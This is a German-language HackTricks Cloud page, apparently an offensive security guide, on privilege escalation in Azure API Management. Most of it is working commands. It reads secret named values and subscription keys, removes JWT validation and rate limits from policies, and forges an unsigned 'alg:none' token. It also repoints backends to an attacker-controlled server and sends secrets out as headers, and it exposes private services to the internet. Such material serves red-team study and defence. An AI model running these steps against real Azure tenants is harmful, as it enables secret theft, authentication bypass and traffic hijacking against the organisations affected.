Az - API Management Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action
Der Angriff besteht darin, auf sensible secrets zuzugreifen, die in Azure API Management Named Values gespeichert sind, entweder indem man die secret values direkt abruft oder Berechtigungen missbraucht, um Key Vault–backed secrets über managed identities zu erhalten.
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action
Für jedes Abonnement kann der Angreifer die Subscription-Schlüssel abrufen, indem er den listSecrets-Endpoint mit der POST-Methode verwendet:
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
Die Antwort enthält den Subscription-Primary-Key (primaryKey) und den Secondary-Key (secondaryKey). Mit diesen Keys kann sich der Angreifer authentifizieren und auf die über das API Management Gateway veröffentlichten APIs zugreifen:
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
Der Angreifer kann auf alle APIs und Produkte zugreifen, die der Subscription zugeordnet sind. Wenn die Subscription Zugriff auf sensible Produkte oder APIs hat, kann der Angreifer vertrauliche Informationen erlangen oder unautorisierte Operationen durchführen.
Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write
Der Angreifer ruft zuerst die aktuelle API-Richtlinie ab:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
Der Angreifer kann die Richtlinie je nach Ziel auf verschiedene Arten ändern. Zum Beispiel kann er, um die Authentifizierung zu deaktivieren, falls die Richtlinie eine JWT token validation enthält, diesen Abschnitt entfernen oder auskommentieren:
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
Um rate limiting controls zu entfernen und denial-of-service attacks zu ermöglichen, kann der Angreifer quota- und rate-limit policies entfernen oder auskommentieren:
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
Um die Backend-Route zu verändern und den Traffic zu einem vom Angreifer kontrollierten Server umzuleiten:
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
Der Angreifer wendet dann die modifizierte policy an. Der request body muss ein JSON-Objekt sein, das die policy im XML-Format enthält:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
Fehlkonfiguration der JWT-Validierung
Der Angreifer muss wissen, dass eine API JWT-Token-Validierung verwendet und dass die Policy falsch konfiguriert ist. Schlecht konfigurierte JWT-Validierungs-Policies können require-signed-tokens="false" oder require-expiration-time="false" enthalten, wodurch der Dienst unsignierte Tokens oder Tokens akzeptiert, die niemals ablaufen.
Der Angreifer erstellt ein bösartiges JWT-Token unter Verwendung des none algorithm (unsigned):
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
Der Angreifer sendet eine Anfrage an die API mit dem bösartigen Token:
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
Wenn die Policy falsch konfiguriert ist mit require-signed-tokens="false", akzeptiert der Dienst das nicht signierte Token. Der Angreifer kann außerdem ein Token ohne expiration-Claim erstellen, wenn require-expiration-time="false".
Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action
Der Angreifer überprüft zunächst die aktuelle Netzwerkkonfiguration des Dienstes:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
Der Angreifer prüft die JSON-Antwort, um die Werte von publicNetworkAccess und virtualNetworkType zu verifizieren. Ist publicNetworkAccess auf false gesetzt oder virtualNetworkType auf Internal, ist der Dienst für privaten Zugriff konfiguriert.
Um den Dienst dem Internet zugänglich zu machen, muss der Angreifer beide Einstellungen ändern. Wenn der Dienst im Internal-Modus läuft (virtualNetworkType: "Internal"), ändert der Angreifer ihn auf None oder External und aktiviert publicNetworkAccess. Dies kann über die Azure Management API erfolgen:
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
Sobald virtualNetworkType auf None oder External gesetzt ist und publicNetworkAccess aktiviert ist, werden der Service und alle seine APIs aus dem Internet zugänglich, selbst wenn sie zuvor hinter einem privaten Netzwerk oder privaten Endpunkten geschützt waren.
Microsoft.ApiManagement/service/backends/write
Der Angreifer enumerates zunächst die vorhandenen Backends, um zu identifizieren, welches geändert werden soll:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
Der Angreifer ruft die aktuelle Konfiguration des Backends ab, das er ändern möchte:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
Der Angreifer ändert die Backend-URL so, dass sie auf einen Server unter seiner Kontrolle zeigt. Zuerst holt er das ETag aus der vorherigen Antwort und aktualisiert dann das Backend:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
Alternativ kann der Angreifer Backend-Header konfigurieren, um Named Values zu exfiltrieren, die Geheimnisse enthalten. Dies geschieht über die Konfiguration der Backend-Credentials:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
Mit dieser Konfiguration werden Named Values als Header in allen Requests an das attacker-controlled backend gesendet, wodurch die Exfiltration sensibler Geheimnisse ermöglicht wird.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

